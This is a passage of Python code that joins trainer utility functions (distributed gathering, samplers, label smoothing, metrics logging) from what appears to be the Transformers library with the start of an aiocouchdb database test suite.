- P0: :obj:`[0, 1, 2, 3, 4, 5]`
- P1: :obj:`[6, 7, 8, 9, 10, 11]`
- P2: :obj:`[12, 13, 14, 15, 0, 1]`
The first batch treated on each process will be
- P0: :obj:`[0, 1]`
- P1: :obj:`[6, 7]`
- P2: :obj:`[12, 13]`
So if we gather at the end of the first batch, we will get a tensor (nested list/tuple of tensor) corresponding to
the following indices:
:obj:`[0, 1, 6, 7, 12, 13]`
If we directly concatenate our results without taking any precautions, the user will then get the predictions for
the indices in this order at the end of the prediction loop:
:obj:`[0, 1, 6, 7, 12, 13, 2, 3, 8, 9, 14, 15, 4, 5, 10, 11, 0, 1]`
For some reason, that's not going to roll their boat. This class is there to solve that problem.
Args:
world_size (:obj:`int`):
The number of processes used in the distributed training.
num_samples (:obj:`int`):
The number of samples in our dataset.
make_multiple_of (:obj:`int`, `optional`):
If passed, the class assumes the datasets passed to each process are made to be a multiple of this argument
(by adding samples).
padding_index (:obj:`int`, `optional`, defaults to -100):
The padding index to use if the arrays don't all have the same sequence length.
"""
def __init__(self, world_size, num_samples, make_multiple_of=None, padding_index=-100):
warnings.warn(
"DistributedTensorGatherer is deprecated and will be removed in v5 of Transformers.",
FutureWarning,
)
self.world_size = world_size
self.num_samples = num_samples
total_size = world_size if make_multiple_of is None else world_size * make_multiple_of
self.total_samples = int(np.ceil(num_samples / total_size)) * total_size
self.process_length = self.total_samples // world_size
self._storage = None
self._offsets = None
self.padding_index = padding_index
def add_arrays(self, arrays):
"""
Add :obj:`arrays` to the internal storage, Will initialize the storage to the full size at the first arrays
passed so that if we're bound to get an OOM, it happens at the beginning.
"""
if arrays is None:
return
if self._storage is None:
self._storage = nested_new_like(arrays, self.total_samples, padding_index=self.padding_index)
self._offsets = list(range(0, self.total_samples, self.process_length))
slice_len, self._storage = self._nested_set_tensors(self._storage, arrays)
for i in range(self.world_size):
self._offsets[i] += slice_len
def _nested_set_tensors(self, storage, arrays):
if isinstance(arrays, (list, tuple)):
result = [self._nested_set_tensors(x, y) for x, y in zip(storage, arrays)]
return result[0][0], type(arrays)(r[1] for r in result)
assert (
arrays.shape[0] % self.world_size == 0
), f"Arrays passed should all have a first dimension multiple of {self.world_size}, found {arrays.shape[0]}."
slice_len = arrays.shape[0] // self.world_size
for i in range(self.world_size):
if len(arrays.shape) == 1:
storage[self._offsets[i] : self._offsets[i] + slice_len] = arrays[i * slice_len : (i + 1) * slice_len]
else:
# Expand the array on the fly if needed.
if len(storage.shape) > 1 and storage.shape[1] < arrays.shape[1]:
storage = expand_like(storage, arrays.shape[1], padding_index=self.padding_index)
storage[self._offsets[i] : self._offsets[i] + slice_len, : arrays.shape[1]] = arrays[
i * slice_len : (i + 1) * slice_len
]
return slice_len, storage
def finalize(self):
"""
Return the properly gathered arrays and truncate to the number of samples (since the sampler added some extras
to get each process a dataset of the same length).
"""
if self._storage is None:
return
if self._offsets[0] != self.process_length:
logger.warning("Not all data has been set. Are you sure you passed all values?")
return nested_truncate(self._storage, self.num_samples)
@dataclass
class LabelSmoother:
"""
Adds label-smoothing on a pre-computed output from a Transformers model.
Args:
epsilon (:obj:`float`, `optional`, defaults to 0.1):
The label smoothing factor.
ignore_index (:obj:`int`, `optional`, defaults to -100):
The index in the labels to ignore when computing the loss.
"""
epsilon: float = 0.1
ignore_index: int = -100
def __call__(self, model_output, labels):
logits = model_output["logits"] if isinstance(model_output, dict) else model_output[0]
log_probs = -nn.functional.log_softmax(logits, dim=-1)
if labels.dim() == log_probs.dim() - 1:
labels = labels.unsqueeze(-1)
padding_mask = labels.eq(self.ignore_index)
# In case the ignore_index is -100, the gather will fail, so we replace labels by 0. The padding_mask
# will ignore them in any case.
labels = torch.clamp(labels, min=0)
nll_loss = log_probs.gather(dim=-1, index=labels)
# works for fp16 input tensor too, by internally upcasting it to fp32
smoothed_loss = log_probs.sum(dim=-1, keepdim=True, dtype=torch.float32)
nll_loss.masked_fill_(padding_mask, 0.0)
smoothed_loss.masked_fill_(padding_mask, 0.0)
# Take the mean over the label dimensions, then divide by the number of active elements (i.e. not-padded):
num_active_elements = padding_mask.numel() - padding_mask.long().sum()
nll_loss = nll_loss.sum() / num_active_elements
smoothed_loss = smoothed_loss.sum() / (num_active_elements * log_probs.shape[-1])
return (1 - self.epsilon) * nll_loss + self.epsilon * smoothed_loss
def get_length_grouped_indices(lengths, batch_size, mega_batch_mult=None, generator=None):
"""
Return a list of indices so that each slice of :obj:`batch_size` consecutive indices correspond to elements of
similar lengths. To do this, the indices are:
- randomly permuted
- grouped in mega-batches of size :obj:`mega_batch_mult * batch_size`
- sorted by length in each mega-batch
The result is the concatenation of all mega-batches, with the batch of :obj:`batch_size` containing the element of
maximum length placed first, so that an OOM happens sooner rather than later.
"""
# Default for mega_batch_mult: 50 or the number to get 4 megabatches, whichever is smaller.
if mega_batch_mult is None:
mega_batch_mult = min(len(lengths) // (batch_size * 4), 50)
# Just in case, for tiny datasets
if mega_batch_mult == 0:
mega_batch_mult = 1
# We need to use torch for the random part as a distributed sampler will set the random seed for torch.
indices = torch.randperm(len(lengths), generator=generator)
megabatch_size = mega_batch_mult * batch_size
megabatches = [indices[i : i + megabatch_size].tolist() for i in range(0, len(lengths), megabatch_size)]
megabatches = [list(sorted(megabatch, key=lambda i: lengths[i], reverse=True)) for megabatch in megabatches]
# The rest is to get the biggest batch first.
# Since each megabatch is sorted by descending length, the longest element is the first
megabatch_maximums = [lengths[megabatch[0]] for megabatch in megabatches]
max_idx = torch.argmax(torch.tensor(megabatch_maximums)).item()
# Switch to put the longest element in first position
megabatches[0][0], megabatches[max_idx][0] = megabatches[max_idx][0], megabatches[0][0]
return [i for megabatch in megabatches for i in megabatch]
class LengthGroupedSampler(Sampler):
r"""
Sampler that samples indices in a way that groups together features of the dataset of roughly the same length while
keeping a bit of randomness.
"""
def __init__(
self,
dataset: Dataset,
batch_size: int,
lengths: Optional[List[int]] = None,
model_input_name: Optional[str] = None,
generator=None,
):
self.dataset = dataset
self.batch_size = batch_size
self.model_input_name = model_input_name if model_input_name is not None else "input_ids"
if lengths is None:
if (
not (isinstance(dataset[0], dict) or isinstance(dataset[0], BatchEncoding))
or self.model_input_name not in dataset[0]
):
raise ValueError(
"Can only automatically infer lengths for datasets whose items are dictionaries with an "
f"'{self.model_input_name}' key."
)
lengths = [len(feature[self.model_input_name]) for feature in dataset]
self.lengths = lengths
self.generator = generator
def __len__(self):
return len(self.lengths)
def __iter__(self):
indices = get_length_grouped_indices(self.lengths, self.batch_size, generator=self.generator)
return iter(indices)
class DistributedLengthGroupedSampler(DistributedSampler):
r"""
Distributed Sampler that samples indices in a way that groups together features of the dataset of roughly the same
length while keeping a bit of randomness.
"""
# Copied and adapted from PyTorch DistributedSampler.
def __init__(
self,
dataset: Dataset,
batch_size: int,
num_replicas: Optional[int] = None,
rank: Optional[int] = None,
seed: int = 0,
drop_last: bool = False,
lengths: Optional[List[int]] = None,
model_input_name: Optional[str] = None,
):
if num_replicas is None:
if not dist.is_available():
raise RuntimeError("Requires distributed package to be available")
num_replicas = dist.get_world_size()
if rank is None:
if not dist.is_available():
raise RuntimeError("Requires distributed package to be available")
rank = dist.get_rank()
self.dataset = dataset
self.batch_size = batch_size
self.num_replicas = num_replicas
self.rank = rank
self.epoch = 0
self.drop_last = drop_last
# If the dataset length is evenly divisible by # of replicas, then there
# is no need to drop any data, since the dataset will be split equally.
if self.drop_last and len(self.dataset) % self.num_replicas != 0:
# Split to nearest available length that is evenly divisible.
# This is to ensure each rank receives the same amount of data when
# using this Sampler.
self.num_samples = math.ceil((len(self.dataset) - self.num_replicas) / self.num_replicas)
else:
self.num_samples = math.ceil(len(self.dataset) / self.num_replicas)
self.total_size = self.num_samples * self.num_replicas
self.seed = seed
self.model_input_name = model_input_name if model_input_name is not None else "input_ids"
if lengths is None:
if (
not (isinstance(dataset[0], dict) or isinstance(dataset[0], BatchEncoding))
or self.model_input_name not in dataset[0]
):
raise ValueError(
"Can only automatically infer lengths for datasets whose items are dictionaries with an "
f"'{self.model_input_name}' key."
)
lengths = [len(feature[self.model_input_name]) for feature in dataset]
self.lengths = lengths
def __iter__(self) -> Iterator:
# Deterministically shuffle based on epoch and seed
g = torch.Generator()
g.manual_seed(self.seed + self.epoch)
indices = get_length_grouped_indices(self.lengths, self.batch_size, generator=g)
if not self.drop_last:
# add extra samples to make it evenly divisible
indices += indices[: (self.total_size - len(indices))]
else:
# remove tail of data to make it evenly divisible.
indices = indices[: self.total_size]
assert len(indices) == self.total_size
# subsample
indices = indices[self.rank : self.total_size : self.num_replicas]
assert len(indices) == self.num_samples
return iter(indices)
class ShardSampler(Sampler):
"""
Sampler that shards batches between several processes. Dispatches indices batch by batch: on 2 processes with batch
size 4, the first two batches are :obj:`[0, 1, 2, 3, 4, 5, 6, 7]` and :obj:`[8, 9, 10, 11, 12, 13, 14, 15]`, which
shard into :obj:`[0, 1, 2, 3]` and :obj:`[8, 9, 10, 11]` for GPU-0 and :obj:`[4, 5, 6, 7]` and :obj:`[12, 13, 14,
15]` for GPU-1.
The sampler thus yields :obj:`[0, 1, 2, 3, 8, 9, 10, 11]` on GPU-0 and :obj:`[4, 5, 6, 7, 12, 13, 14, 15]` on
GPU-1.
"""
def __init__(
self,
dataset: Dataset,
batch_size: int = 1,
drop_last: bool = False,
num_processes: int = 1,
process_index: int = 0,
):
self.dataset = dataset
self.batch_size = batch_size
self.drop_last = drop_last
self.num_processes = num_processes
self.process_index = process_index
self.total_batch_size = total_batch_size = batch_size * num_processes
num_batches = len(dataset) // total_batch_size if drop_last else math.ceil(len(dataset) / total_batch_size)
self.total_num_samples = num_batches * total_batch_size
def __iter__(self):
indices = list(range(len(self.dataset)))
# Add extra samples to make it evenly divisible. While loop is there in the edge case we have a tiny dataset
# and it needs to be done several times.
while len(indices) < self.total_num_samples:
indices += indices[: (self.total_num_samples - len(indices))]
result = []
for batch_start in range(self.batch_size * self.process_index, self.total_num_samples, self.total_batch_size):
result += indices[batch_start : batch_start + self.batch_size]
return iter(result)
def __len__(self):
# Each shard only sees a fraction of total_num_samples.
return self.total_num_samples // self.num_processes
class IterableDatasetShard(IterableDataset):
"""
Wraps a PyTorch :obj:`IterableDataset` to generate samples for one of the processes only. Instances of this class
will always yield a number of samples that is a round multiple of the actual batch size (which is :obj:`batch_size
x num_processes`). Depending on the value of the :obj:`drop_last` attribute, it will either stop the iteration at
the first batch that would be too small or loop with indices from the beginning.
On two processes with an iterable dataset yielding of :obj:`[0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11]` with a batch
size of 2:
- the shard on process 0 will yield :obj:`[0, 1, 4, 5, 8, 9]` so will see batches :obj:`[0, 1]`, :obj:`[4, 5]`,
:obj:`[8, 9]`
- the shard on process 1 will yield :obj:`[2, 3, 6, 7, 10, 11]` so will see batches :obj:`[2, 3]`, :obj:`[6, 7]`,
:obj:`[10, 11]`
.. warning:
If your IterableDataset implements some randomization that needs to be applied the same way on all processes
(for instance, a shuffling), you should use a :obj:`torch.Generator` in a :obj:`generator` attribute of the
:obj:`dataset` to generate your random numbers and call the
:meth:`~transformers.trainer_pt_utils.IterableDatasetShard.set_epoch` method of this object. It will set the
seed of this :obj:`generator` to :obj:`seed + epoch` on all processes before starting the iteration.
Alternatively, you can also implement a :obj:`set_epoch()` method in your iterable dataset to deal with this.
Args:
dataset (:obj:`torch.utils.data.IterableDataset`):
The batch sampler to split in several shards.
batch_size (:obj:`int`, `optional`, defaults to 1):
The size of the batches per shard.
drop_last (:obj:`bool`, `optional`, defaults to :obj:`False`):
Whether or not to drop the last incomplete batch or complete the last batches by using the samples from the
beginning.
num_processes (:obj:`int`, `optional`, defaults to 1):
The number of processes running concurrently.
process_index (:obj:`int`, `optional`, defaults to 0):
The index of the current process.
seed (:obj:`int`, `optional`, defaults to 0):
A random seed that will be used for the random number generation in
:meth:`~transformers.trainer_pt_utils.IterableDatasetShard.set_epoch`.
"""
def __init__(
self,
dataset: IterableDataset,
batch_size: int = 1,
drop_last: bool = False,
num_processes: int = 1,
process_index: int = 0,
seed: int = 0,
):
self.dataset = dataset
self.batch_size = batch_size
self.drop_last = drop_last
self.num_processes = num_processes
self.process_index = process_index
self.seed = seed
self.epoch = 0
self.num_examples = 0
def set_epoch(self, epoch):
self.epoch = epoch
if hasattr(self.dataset, "set_epoch"):
self.dataset.set_epoch(epoch)
def __iter__(self):
self.num_examples = 0
if (
not hasattr(self.dataset, "set_epoch")
and hasattr(self.dataset, "generator")
and isinstance(self.dataset.generator, torch.Generator)
):
self.dataset.generator.manual_seed(self.seed + self.epoch)
real_batch_size = self.batch_size * self.num_processes
process_slice = range(self.process_index * self.batch_size, (self.process_index + 1) * self.batch_size)
first_batch = None
current_batch = []
for element in self.dataset:
self.num_examples += 1
current_batch.append(element)
# Wait to have a full batch before yielding elements.
if len(current_batch) == real_batch_size:
for i in process_slice:
yield current_batch[i]
if first_batch is None:
first_batch = current_batch.copy()
current_batch = []
# Finished if drop_last is True, otherwise complete the last batch with elements from the beginning.
if not self.drop_last and len(current_batch) > 0:
if first_batch is None:
first_batch = current_batch.copy()
while len(current_batch) < real_batch_size:
current_batch += first_batch
for i in process_slice:
yield current_batch[i]
def __len__(self):
# Will raise an error if the underlying dataset is not sized.
if self.drop_last:
return (len(self.dataset) // (self.batch_size * self.num_processes)) * self.batch_size
else:
return math.ceil(len(self.dataset) / (self.batch_size * self.num_processes)) * self.batch_size
# In order to keep `trainer.py` compact and easy to understand, place any secondary PT Trainer
# helper methods here
def _get_learning_rate(self):
if self.deepspeed:
# with deepspeed's fp16 and dynamic loss scale enabled the optimizer/scheduler steps may
# not run for the first few dozen steps while loss scale is too large, and thus during
# that time `get_last_lr` will fail if called during that warm up stage, so work around it:
try:
last_lr = self.lr_scheduler.get_last_lr()[0]
except AssertionError as e:
if "need to call step" in str(e):
logger.warning("tried to get lr value before scheduler/optimizer started stepping, returning lr=0")
last_lr = 0
else:
raise
else:
last_lr = (
# backward compatibility for pytorch schedulers
self.lr_scheduler.get_last_lr()[0]
if version.parse(torch.__version__) >= version.parse("1.4")
else self.lr_scheduler.get_lr()[0]
)
return last_lr
def _secs2timedelta(secs):
"""
convert seconds to hh:mm:ss.msec, msecs rounded to 2 decimals
"""
msec = int(abs(secs - int(secs)) * 100)
return f"{datetime.timedelta(seconds=int(secs))}.{msec:02d}"
def metrics_format(self, metrics: Dict[str, float]) -> Dict[str, float]:
"""
Reformat Trainer metrics values to a human-readable format
Args:
metrics (:obj:`Dict[str, float]`):
The metrics returned from train/evaluate/predict
Returns:
metrics (:obj:`Dict[str, float]`): The reformatted metrics
"""
metrics_copy = metrics.copy()
for k, v in metrics_copy.items():
if "_mem_" in k:
metrics_copy[k] = f"{ v >> 20 }MB"
elif "_runtime" in k:
metrics_copy[k] = _secs2timedelta(v)
elif k == "total_flos":
metrics_copy[k] = f"{ int(v) >> 30 }GF"
elif type(metrics_copy[k]) == float:
metrics_copy[k] = round(v, 4)
return metrics_copy
def log_metrics(self, split, metrics):
"""
Log metrics in a specially formatted way
Under distributed environment this is done only for a process with rank 0.
Args:
split (:obj:`str`):
Mode/split name: one of ``train``, ``eval``, ``test``
metrics (:obj:`Dict[str, float]`):
The metrics returned from train/evaluate/predictmetrics: metrics dict
Notes on memory reports:
In order to get memory usage report you need to install ``psutil``. You can do that with ``pip install psutil``.
Now when this method is run, you will see a report that will include: ::
init_mem_cpu_alloc_delta = 1301MB
init_mem_cpu_peaked_delta = 154MB
init_mem_gpu_alloc_delta = 230MB
init_mem_gpu_peaked_delta = 0MB
train_mem_cpu_alloc_delta = 1345MB
train_mem_cpu_peaked_delta = 0MB
train_mem_gpu_alloc_delta = 693MB
train_mem_gpu_peaked_delta = 7MB
**Understanding the reports:**
- the first segment, e.g., ``train__``, tells you which stage the metrics are for. Reports starting with ``init_``
will be added to the first stage that gets run. So that if only evaluation is run, the memory usage for the
``__init__`` will be reported along with the ``eval_`` metrics.
- the third segment, is either ``cpu`` or ``gpu``, tells you whether it's the general RAM or the gpu0 memory
metric.
- ``*_alloc_delta`` - is the difference in the used/allocated memory counter between the end and the start of the
stage - it can be negative if a function released more memory than it allocated.
- ``*_peaked_delta`` - is any extra memory that was consumed and then freed - relative to the current allocated
memory counter - it is never negative. When you look at the metrics of any stage you add up ``alloc_delta`` +
``peaked_delta`` and you know how much memory was needed to complete that stage.
The reporting happens only for process of rank 0 and gpu 0 (if there is a gpu). Typically this is enough since the
main process does the bulk of work, but it could be not quite so if model parallel is used and then other GPUs may
use a different amount of gpu memory. This is also not the same under DataParallel where gpu0 may require much more
memory than the rest since it stores the gradient and optimizer states for all participating GPUS. Perhaps in the
future these reports will evolve to measure those too.
The CPU RAM metric measures RSS (Resident Set Size) includes both the memory which is unique to the process and the
memory shared with other processes. It is important to note that it does not include swapped out memory, so the
reports could be imprecise.
The CPU peak memory is measured using a sampling thread. Due to python's GIL it may miss some of the peak memory if
that thread didn't get a chance to run when the highest memory was used. Therefore this report can be less than
reality. Using ``tracemalloc`` would have reported the exact peak memory, but it doesn't report memory allocations
outside of python. So if some C++ CUDA extension allocated its own memory it won't be reported. And therefore it
was dropped in favor of the memory sampling approach, which reads the current process memory usage.
The GPU allocated and peak memory reporting is done with ``torch.cuda.memory_allocated()`` and
``torch.cuda.max_memory_allocated()``. This metric reports only "deltas" for pytorch-specific allocations, as
``torch.cuda`` memory management system doesn't track any memory allocated outside of pytorch. For example, the
very first cuda call typically loads CUDA kernels, which may take from 0.5 to 2GB of GPU memory.
Note that this tracker doesn't account for memory allocations outside of :class:`~transformers.Trainer`'s
``__init__``, ``train``, ``evaluate`` and ``predict`` calls.
Because ``evaluation`` calls may happen during ``train``, we can't handle nested invocations because
``torch.cuda.max_memory_allocated`` is a single counter, so if it gets reset by a nested eval call, ``train``'s
tracker will report incorrect info. If this `pytorch issue <https://github.com/pytorch/pytorch/issues/16266>`__
gets resolved it will be possible to change this class to be re-entrant. Until then we will only track the outer
level of ``train``, ``evaluate`` and ``predict`` methods. Which means that if ``eval`` is called during ``train``,
it's the latter that will account for its memory usage and that of the former.
This also means that if any other tool that is used along the :class:`~transformers.Trainer` calls
``torch.cuda.reset_peak_memory_stats``, the gpu peak memory stats could be invalid. And the
:class:`~transformers.Trainer` will disrupt the normal behavior of any such tools that rely on calling
``torch.cuda.reset_peak_memory_stats`` themselves.
For best performance you may want to consider turning the memory profiling off for production runs.
"""
if not self.is_world_process_zero():
return
print(f"***** {split} metrics *****")
metrics_formatted = self.metrics_format(metrics)
k_width = max(len(str(x)) for x in metrics_formatted.keys())
v_width = max(len(str(x)) for x in metrics_formatted.values())
for key in sorted(metrics_formatted.keys()):
print(f" {key: <{k_width}} = {metrics_formatted[key]:>{v_width}}")
def save_metrics(self, split, metrics, combined=True):
"""
Save metrics into a json file for that split, e.g. ``train_results.json``.
Under distributed environment this is done only for a process with rank 0.
Args:
split (:obj:`str`):
Mode/split name: one of ``train``, ``eval``, ``test``, ``all``
metrics (:obj:`Dict[str, float]`):
The metrics returned from train/evaluate/predict
combined (:obj:`bool`, `optional`, defaults to :obj:`True`):
Creates combined metrics by updating ``all_results.json`` with metrics of this call
To understand the metrics please read the docstring of :meth:`~transformers.Trainer.log_metrics`. The only
difference is that raw unformatted numbers are saved in the current method.
"""
if not self.is_world_process_zero():
return
path = os.path.join(self.args.output_dir, f"{split}_results.json")
with open(path, "w") as f:
json.dump(metrics, f, indent=4, sort_keys=True)
if combined:
path = os.path.join(self.args.output_dir, "all_results.json")
if os.path.exists(path):
with open(path, "r") as f:
all_metrics = json.load(f)
else:
all_metrics = {}
all_metrics.update(metrics)
with open(path, "w") as f:
json.dump(all_metrics, f, indent=4, sort_keys=True)
def save_state(self):
"""
Saves the Trainer state, since Trainer.save_model saves only the tokenizer with the model
Under distributed environment this is done only for a process with rank 0.
"""
if not self.is_world_process_zero():
return
path = os.path.join(self.args.output_dir, "trainer_state.json")
self.state.save_to_json(path)
def get_parameter_names(model, forbidden_layer_types):
"""
Returns the names of the model parameters that are not inside a forbidden layer.
"""
result = []
for name, child in model.named_children():
result += [
f"{name}.{n}"
for n in get_parameter_names(child, forbidden_layer_types)
if not isinstance(child, tuple(forbidden_layer_types))
]
# Add model specific parameters (defined with nn.Parameter) since they are not in any child.
result += list(model._parameters.keys())
return result
if is_sagemaker_mp_enabled():
import smdistributed.modelparallel.torch as smp
@smp.step()
def smp_forward_backward(model, inputs, gradient_accumulation_steps=1, scaler=None):
with torch.cuda.amp.autocast(enabled=(scaler is not None)):
outputs = model(**inputs)
loss = outputs["loss"] if isinstance(outputs, dict) else outputs[0]
loss /= gradient_accumulation_steps
if scaler is not None:
loss = scaler.scale(loss).squeeze()
model.backward(loss)
return loss
@smp.step()
def smp_forward_only(model, inputs):
return model(**inputs)
def smp_gather(tensor):
if isinstance(tensor, (list, tuple)):
return type(tensor)(smp_gather(t) for t in tensor)
elif isinstance(tensor, dict):
return type(tensor)({k: smp_gather(v) for k, v in tensor.items()})
elif not isinstance(tensor, torch.Tensor):
raise TypeError(
f"Can't gather the values of type {type(tensor)}, only of nested list/tuple/dicts of tensors."
)
all_tensors = smp.allgather(tensor, smp.CommGroup.DP_GROUP)
all_tensors = [t if len(t.shape) > 0 else t[None] for t in all_tensors]
return torch.cat([t.cpu() for t in all_tensors], dim=0)
def smp_nested_concat(tensor):
if isinstance(tensor, (list, tuple)):
return type(tensor)(smp_nested_concat(t) for t in tensor)
elif isinstance(tensor, dict):
return type(tensor)({k: smp_nested_concat(v) for k, v in tensor.items()})
# It doesn't seem possible to check here if `tensor` is a StepOutput because StepOutput lives in `smp.step`
# which is also the name of the decorator so Python is confused.
return tensor.concat().detach().cpu()
|
# -*- coding: utf-8 -*-
#
# Copyright (C) 2014-2015 Alexander Shorin
# All rights reserved.
#
# This software is licensed as described in the file LICENSE, which
# you should have received as part of this distribution.
#
import asyncio
import json
import random
import types
import aiocouchdb.client
import aiocouchdb.errors
import aiocouchdb.feeds
import aiocouchdb.v1.database
import aiocouchdb.v1.server
import aiocouchdb.v1.security
from . import utils
class DatabaseTestCase(utils.DatabaseTestCase):
def test_init_with_url(self):
self.assertIsInstance(self.db.resource, aiocouchdb.client.Resource)
def test_init_with_resource(self):
res = aiocouchdb.client.Resource(self.url_db)
db = aiocouchdb.v1.database.Database(res)
self.assertIsInstance(db.resource, aiocouchdb.client.Resource)
self.assertEqual(self.url_db, db.resource.url)
def test_init_with_name(self):
res = aiocouchdb.client.Resource(self.url_db)
db = aiocouchdb.v1.database.Database(res, dbname='foo')
self.assertEqual(db.name, 'foo')
def test_init_with_name_from_server(self):
server = aiocouchdb.v1.server.Server()
db = yield from server.db('foo')
self.assertEqual(db.name, 'foo')
def test_exists(self):
result = yield from self.db.exists()
self.assert_request_called_with('HEAD', self.db.name)
self.assertTrue(result)
@utils.with_fixed_admin_party('root', 'relax')
def test_exists_forbidden(self, root):
yield from self.db.security.update_members(auth=root, names=['foo'])
with self.response(status=403):
result = yield from self.db.exists()
self.assert_request_called_with('HEAD', self.db.name)
self.assertFalse(result)
def test_exists_not_found(self):
with self.response(status=404):
dbname = self.new_dbname()
result = yield from self.server[dbname].exists()
self.assert_request_called_with('HEAD', dbname)
self.assertFalse(result)
def test_info(self):
with self.response(data=b'{}'):
result = yield from self.db.info()
self.assert_request_called_with('GET', self.db.name)
self.assertIsInstance(result, dict)
def test_create(self):
with self.response(data=b'{"ok": true}'):
try:
result = yield from self.db.create()
except aiocouchdb.errors.PreconditionFailed:
# Because we'd created it already during setUp routines
result = {'ok': True}
self.assert_request_called_with('PUT', self.db.name)
self.assertEqual({'ok': True}, result)
def test_delete(self):
with self.response(data=b'{"ok": true}'):
result = yield from self.db.delete()
self.assert_request_called_with('DELETE', self.db.name)
self.assertEqual({'ok': True}, result)
def test_all_docs(self):
with (yield from self.db.all_docs()) as view:
self.assert_request_called_with('GET', self.db.name, '_all_docs')
self.assertIsInstance(view, aiocouchdb.feeds.ViewFeed)
@utils.run_for('mock')
def test_all_docs_params(self):
all_params = {
'attachments': False,
'conflicts': True,
'descending': True,
'endkey': 'foo',
'endkey_docid': 'foo_id',
'include_docs': True,
'inclusive_end': False,
'limit': 10,
'skip': 20,
'stale': 'ok',
'startkey': 'bar',
'startkey_docid': 'bar_id',
'update_seq': True
}
for key, value in all_params.items():
yield from self.db.all_docs(**{key: value})
if key in ('endkey', 'startkey'):
value = json.dumps(value)
self.assert_request_called_with('GET', self.db.name, '_all_docs',
params={key: value})
def test_all_docs_key(self):
with (yield from self.db.all_docs('foo')):
self.assert_request_called_with('GET', self.db.name, '_all_docs',
params={'key': '"foo"'})
def test_all_docs_keys(self):
with (yield from self.db.all_docs('foo', 'bar', 'baz')):
self.assert_request_called_with(
'POST', self.db.name, '_all_docs',
data={'keys': ('foo', 'bar', 'baz')})
def test_bulk_docs(self):
yield from self.db.bulk_docs([{'_id': 'foo'}, {'_id': 'bar'}])
self.assert_request_called_with('POST', self.db.name, '_bulk_docs',
data=Ellipsis)
data = self.request.call_args[1]['data']
self.assertIsInstance(data, types.GeneratorType)
if self._test_target == 'mock':
# while aiohttp.request is mocked, the payload generator
# doesn't get used so we can check the real payload data.
self.assertEqual(b'{"docs": [{"_id": "foo"},{"_id": "bar"}]}',
b''.join(data))
def test_bulk_docs_all_or_nothing(self):
yield from self.db.bulk_docs([{'_id': 'foo'}, {'_id': 'bar'}],
all_or_nothing=True)
self.assert_request_called_with('POST', self.db.name, '_bulk_docs',
data=Ellipsis)
data = self.request.call_args[1]['data']
self.assertIsInstance(data, types.GeneratorType)
if self._test_target == 'mock':
# while aiohttp.request is mocked, the payload generator
# doesn't get used so we can check the real payload data.
self.assertEqual(b'{"all_or_nothing": true, "docs": '
b'[{"_id": "foo"},{"_id": "bar"}]}',
b''.join(data))
def test_bulk_docs_new_edits(self):
yield from self.db.bulk_docs([{'_rev': '1-foo'}], new_edits=False)
self.assert_request_called_with('POST', self.db.name, '_bulk_docs',
data=Ellipsis,
params={})
def test_changes(self):
with (yield from self.db.changes()) as feed:
self.assertIsInstance(feed, aiocouchdb.feeds.ChangesFeed)
self.assert_request_called_with('GET', self.db.name, '_changes')
@utils.skip_for('mock')
def test_changes_reading(self):
ids = [utils.uuid() for _ in range(3)]
for idx in ids:
yield from self.db[idx].update({})
with (yield from self.db.changes()) as feed:
while True:
self.assertTrue(feed.is_active())
event = yield from feed.next()
if event is None:
break
self.assertIsInstance(event, dict)
self.assertIn(event['id'], ids)
self.assertFalse(feed.is_active())
def test_changes_longpoll(self):
with (yield from self.db.changes(feed='longpoll')) as feed:
self.assertIsInstance(feed, aiocouchdb.feeds.LongPollChangesFeed)
self.assert_request_called_with('GET', self.db.name, '_changes',
params={'feed': 'longpoll'})
def test_changes_continuous(self):
with (yield from self.db.changes(feed='continuous')) as feed:
self.assertIsInstance(feed, aiocouchdb.feeds.ContinuousChangesFeed)
self.assert_request_called_with('GET', self.db.name, '_changes',
params={'feed': 'continuous'})
@utils.skip_for('mock')
def test_changes_continuous_reading(self):
ids = [utils.uuid() for _ in range(3)]
@asyncio.coroutine
def task():
for idx in ids:
yield from self.db[idx].update({})
asyncio.Task(task())
with (yield from self.db.changes(feed='continuous',
timeout=1000)) as feed:
while True:
self.assertTrue(feed.is_active())
event = yield from feed.next()
if event is None:
break
self.assertIsInstance(event, dict)
self.assertIn(event['id'], ids)
self.assertFalse(feed.is_active())
def test_changes_eventsource(self):
with (yield from self.db.changes(feed='eventsource')) as feed:
self.assertIsInstance(feed, aiocouchdb.feeds.EventSourceChangesFeed)
self.assert_request_called_with('GET', self.db.name, '_changes',
params={'feed': 'eventsource'})
@utils.skip_for('mock')
def test_changes_eventsource(self):
ids = [utils.uuid() for _ in range(3)]
@asyncio.coroutine
def task():
for idx in ids:
yield from self.db[idx].update({})
asyncio.Task(task())
with (yield from self.db.changes(feed='eventsource',
timeout=1000)) as feed:
while True:
self.assertTrue(feed.is_active())
event = yield from feed.next()
if event is None:
break
self.assertIsInstance(event, dict)
self.assertIn(event['id'], ids)
def test_changes_doc_ids(self):
with (yield from self.db.changes('foo', 'bar')):
self.assert_request_called_with('POST', self.db.name, '_changes',
data={'doc_ids': ('foo', 'bar')},
params={'filter': '_doc_ids'})
def test_changes_assert_filter_doc_ids(self):
with self.assertRaises(AssertionError):
yield from self.db.changes('foo', 'bar', filter='somefilter')
@utils.skip_for('mock')
def test_changes_filter_docid(self):
ids = [utils.uuid() for _ in range(100)]
filtered_ids = [random.choice(ids) for _ in range(10)]
yield from self.db.bulk_docs({'_id': idx} for idx in ids)
with (yield from self.db.changes(*filtered_ids)) as feed:
while True:
event = yield from feed.next()
if event is None:
break
self.assertIn(event['id'], filtered_ids)
event = yield from feed.next()
self.assertIsNone(event)
self.assertFalse(feed.is_active())
@utils.skip_for('mock')
def test_changes_filter_view(self):
docs = yield from utils.populate_database(self.db, 10)
expected = [doc['_id'] for doc in docs.values() if doc['num'] > 5]
ddoc = self.db['_design/' + utils.uuid()]
yield from ddoc.doc.update({
'views': {
'test': {
'map': 'function(doc){ if(doc.num > 5) emit(doc._id) }'
}
}
})
view_name = '/'.join([ddoc.name, 'test'])
with (yield from self.db.changes(view=view_name)) as feed:
while True:
event = yield from feed.next()
if event is None:
break
self.assertIn(event['id'], expected)
event = yield from feed.next()
self.assertIsNone(event)
self.assertFalse(feed.is_active())
@utils.run_for('mock')
def test_changes_params(self):
all_params = {
'att_encoding_info': False,
'attachments': True,
'conflicts': True,
'descending': True,
'feed': 'continuous',
'filter': 'some/filter',
'headers': {'X-Foo': 'bar'},
'heartbeat': 1000,
'include_docs': True,
'limit': 20,
'params': {'test': 'passed'},
'since': 'now',
'style': 'all_docs',
'timeout': 3000,
